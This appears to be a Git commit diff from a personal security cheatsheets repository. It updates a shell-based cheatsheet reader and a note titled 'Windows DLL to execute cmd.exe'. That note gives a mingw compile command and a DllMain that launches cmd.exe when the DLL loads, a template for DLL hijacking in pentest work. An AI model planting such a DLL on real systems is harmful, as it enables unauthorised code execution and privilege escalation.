Bladeren bron

Merge branch 'master' of https://git.swrzm.de/msc/cheatsheets

Hans Martin 5 jaren geleden
bovenliggende
commit
eedb37f902
2 gewijzigde bestanden met toevoegingen van 33 en 21 verwijderingen
  1. 26 8
      cheat.sh
  2. 7 13
      cheatsheets/security/windows/malicious-dll.md

+ 26 - 8
cheat.sh

@@ -5,8 +5,25 @@
 [ -z "$(which rg 2>/dev/null)" ] && echo "[-] You need ripgrep (rg) installed" && exit 1
 [ -z "$(which fzf 2>/dev/null)" ] && echo "[-] You need fzf installed" && exit 1
 
+function usage {
+
+    echo "cheat.sh - cheatsheet reader"
+    echo "Options:"
+    echo "    -h   print help/usage"
+    echo "    -l   list all files"
+    echo "    -p   print cheatsheets path"
+    echo "    -w   writable"
+    echo "    -g   open in gvim"
+    echo "    -s   search for string in <arg> using ripgrep"
+}
+
 # Set the path to the cheatncheck repo here
-cheatsheets="/home/juan/documents/checkncheat/"
+
+if [ $CHEAT = "" ]; then
+    cheatsheets="$HOME/documents/cheatsheets/"
+else
+    cheatsheets="$CHEAT"
+fi
 
 # check if the cheatsheets dir. exists.
 [ ! -d "$cheatsheets" ] && echo "[-] Cheatsheet folder does not exist." && exit 1
@@ -20,13 +37,14 @@ if [ $# -eq 0 ] ; then
 fi
 
 # Option Parsin
-while getopts ":glws:p" options ; do
+while getopts ":ghlws:p" options ; do
     case "${options}" in
-        l) fd -t f \.md -x echo {/.} ;;
-        p) echo $cheatsheets ;;
-        w) vim -c "Goyo 90%" "$(fzf)" ;;
-        g) vim -R -c "Goyo 90%" "$(fzf)" -g ;;
-        s) rg "${OPTARG}" ;;
-        *) echo 'Invalid Argument' ;;
+        h) usage ;;                             # print help/usage
+        l) fd -t f \.md -x echo {/.} ;;         # list all files
+        p) echo $cheatsheets ;;                 # print cheatsheets path
+        w) vim -c "Goyo 90%" "$(fzf)" ;;        # writable
+        g) vim -R -c "Goyo 90%" "$(fzf)" -g ;;  # open in gvim
+        s) rg "${OPTARG}" ;;                    # search for string in <arg> using ripgrep
+        *) echo 'Invalid Argument' ;;           # Argument not available
     esac
 done

+ 7 - 13
cheatsheets/security/windows/malicious-dll.md

@@ -6,24 +6,18 @@ tags: [security, windows]
 
 # Windows DLL to execute cmd.exe
 
+* Compile on Linux:  x86_64-w64-mingw32-gcc malicous-dll.c -shared -o malicous.dll
+
 ```
-#include <stdlib.h>
-#include <string>
 #include <windows.h>
 
-BOOL APIENTRY DllMain(HMODULE hModule,
-                        DWORD ul_reason_for_call,
-                        LPVOID lpReserved) {
 
-    switch (ul_reason_for_call) {
-        case DLL_PROCESS_ATTACH:
-            system("cmd.exe");
-        case DLL_PROCESS_DETACH:
-        case DLL_THREAT_ATTACH:
-        case DLL_THREAT_DETACH:
-            break;
+BOOL WINAPI DllMain(HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
+    if (dwReason == DLL_PROCESS_ATTACH){
+        system("cmd.exe");
+        ExitProcess(0);
     }
-    return TRUE;
+return TRUE;
 }
 ```